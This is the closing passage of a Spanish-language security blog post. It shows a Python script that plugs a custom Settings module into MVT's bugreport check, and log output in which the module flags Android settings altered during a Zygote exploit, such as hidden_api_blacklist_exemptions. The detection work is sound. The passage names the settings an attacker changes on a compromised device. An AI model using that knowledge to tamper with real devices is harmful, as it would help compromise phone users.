section = self.extract_dumpsys_section(
full_dumpsys.decode("utf-8", "ignore"),
"DUMP OF SERVICE settings:",
)
self.parse(section)
La clase hereda de BugReportModule
(para cargar el bugreport) y de nuestro artefacto (para el parsing y los chequeos).
Ejecutar el módulo
run_module.py
añade nuestro sub-módulo a la lista que ejecuta mvt-android check-bugreport
:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
from mvt.android.cmd_check_bugreport import CmdAndroidCheckBugreport
from mvt.common.utils import set_verbose_logging
from bugreport_settings import Settings
import sys
if __name__ == "__main__":
if len(sys.argv) < 2:
print(f"usage: python3 {sys.argv[0]} [path to bugreport (dir or zip)]")
sys.exit(1)
bugreport_path = sys.argv[1]
set_verbose_logging(False)
cmd = CmdAndroidCheckBugreport(target_path=bugreport_path, hashes=True)
cmd.modules.append(Settings)
cmd.run()
Al ejecutarlo sobre un bugreport generado justo después de la explotación, la salida luce así:
$ python3 run_module.py bugreport-sdk_gphone64_x86_64-UE1A.230829.050-2025-05-09-08-53-46.zip
21:41:55 INFO [mvt.android.cmd_check_bugreport] Parsing STIX2 indicators file at path /.../...android_campaign_malware.stix2
INFO [mvt.android.cmd_check_bugreport] Parsing STIX2 indicators file at path /.../...indicators_main_2022-06-23_rcs_lab_rcs.stix2
INFO [mvt.android.cmd_check_bugreport] Parsing STIX2 indicators file at path
mas informacion de mvt...
mas informacion de mvt...
mas informacion de mvt...
mas informacion de mvt...
INFO [mvt] Running module Settings...
21:41:59 INFO [mvt] Found 1139 "config settings"
INFO [mvt] Found 181 "global settings"
INFO [mvt] Found 132 "secure settings"
INFO [mvt] Found 36 "system settings"
INFO [mvt] Identified a total of 4 sets of settings
WARNING [mvt] Found suspicious "global" setting "verifier_verify_adb_installs = 0" (disabled Google Play Services apps verification)
WARNING [mvt] Found suspicious "global" setting "hidden_api_blacklist_exemptions = {null}" (was modified by com.android.shell)
WARNING [mvt] Found suspicious "secure" setting "install_non_market_apps = 1" (enabled installation of non Google Play apps)
WARNING [mvt] Found suspicious "system" setting "accelerometer_rotation = 1" (was modified by com.android.shell)
WARNING [mvt] Found suspicious "system" setting "screen_off_timeout = 2147483647" (was modified by com.android.shell)
INFO [mvt] The Settings module produced no detections!
INFO NOTE: Using MVT with public indicators of compromise (IOCs) WILL NOT automatically detect advanced attacks.
El módulo detecta tanto las variables con valores inseguros como aquellas modificadas por com.android.shell
, incluida hidden_api_blacklist_exemptions
. Objetivo cumplido.
Para instrucciones de uso detalladas, consulta el README del repositorio de la PoC.
-[ 0x0e Eso es todo, por ahora. ]-
Si llegaste hasta aquí, ya viste todo el recorrido: desde la anatomía del bug en Zygote y la réplica del exploit, hasta la cacería de IOCs en logcat y dumpsys, y la creación de un módulo que hace que MVT los detecte al vuelo. El resultado es una PoC ligera que señala cuando hidden_api_blacklist_exemptions cambia de mano y la com.android.shell anda metida en medio, tanto en emuladores como en equipos reales.
Queda ponerla a rodar en escenarios de campo, escuchar la retroalimentación y afinar lo que sea necesario antes de pensar en integraciones mayores. Gracias por acompañarnos; que las próximas cazas de indicadores sean aún más certeras.